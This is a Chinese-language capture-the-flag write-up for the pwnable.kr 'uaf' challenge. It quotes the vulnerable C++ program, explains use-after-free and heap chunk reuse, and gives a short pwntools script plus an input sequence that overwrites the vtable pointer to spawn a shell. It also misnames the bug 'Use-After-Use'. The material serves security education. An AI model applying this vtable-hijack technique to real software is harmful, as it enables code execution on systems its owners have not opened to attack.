【pwnable.kr】 uaf


目測是比較接近pwnable的一道題。考察了uaf(use after free的內容),我覺得說白了就是指針沒有初始化的問題。

ssh uaf@pwnable.kr -p2222 (pw:guest)

先看一下代碼

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;    
}

很明顯的是有虛函數的繼承,內存的申請,內存的釋放,利用思路就是改函數的虛表地址達到執行命令的作用。

執行的命令也不用寫shellcode,源代碼中的getshell函數就可以用。

首先,UAF是個啥,名字叫Use-After-Use,就是釋放后重用,是堆上的一種漏洞,就是在把申請的內存釋放后,指向之前內存的指針沒有重置為NULL,導致該指針還能訪問原來的內存。

這道題也是一樣。當釋放了w、m后,當再次調用w、m指針就會出問題。

當然直接調用時不會重新執行w->introduct函數的,這是因為堆塊會有分配和未分配兩種狀態,在狀態轉換時會修改堆塊內容。

當然,linux在堆分配中有一種快速分配機制,導致了該程序存在的漏洞。

詳細可以參考《C和C++安全編碼》一書。

 

在這道題中,如果想利用堆快速分配的機制,需要請求分配的堆塊大小是一樣的,即argv[1]=sizeof(Women)

這個大小可以再匯編代碼中找到

0x18 = 24 所以argv[1]=24

通過跟蹤分配可以跟蹤到虛表的內容,具體跟蹤如下圖: 

可以發現,虛表地址是位於結構體內存的最前面8個字節。而函數的調用就是這個虛表指針+偏移

比如Human->give_shell 就是 vTable_ptr + 0

因此,僅需修改一個指針即可,再看修改位置,read函數是從argv[2]所指的文件中獲取,所以要把這個地址寫到文件中,並且不需要填充。

寫的內容需要調用give_shell函數,由於函數后來要調用introduce函數,地址是 vTable_ptr + 8,因此將虛表指針改寫為0x401588即可。

 

先寫一個/tmp/p4nda文件,內容是0x401588:

from pwn import *

addr = 0x401588
f = open('/tmp/p4nda',"wb")
f.write(p64(addr))
f.close

再順序執行3->2->2->1即可

 

note:執行兩次2的原因是分配的順序是后釋放先分配,而函數執行的順序恰好是反過來的,因此需要執行兩次,讓m指針也被分配就可以了。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM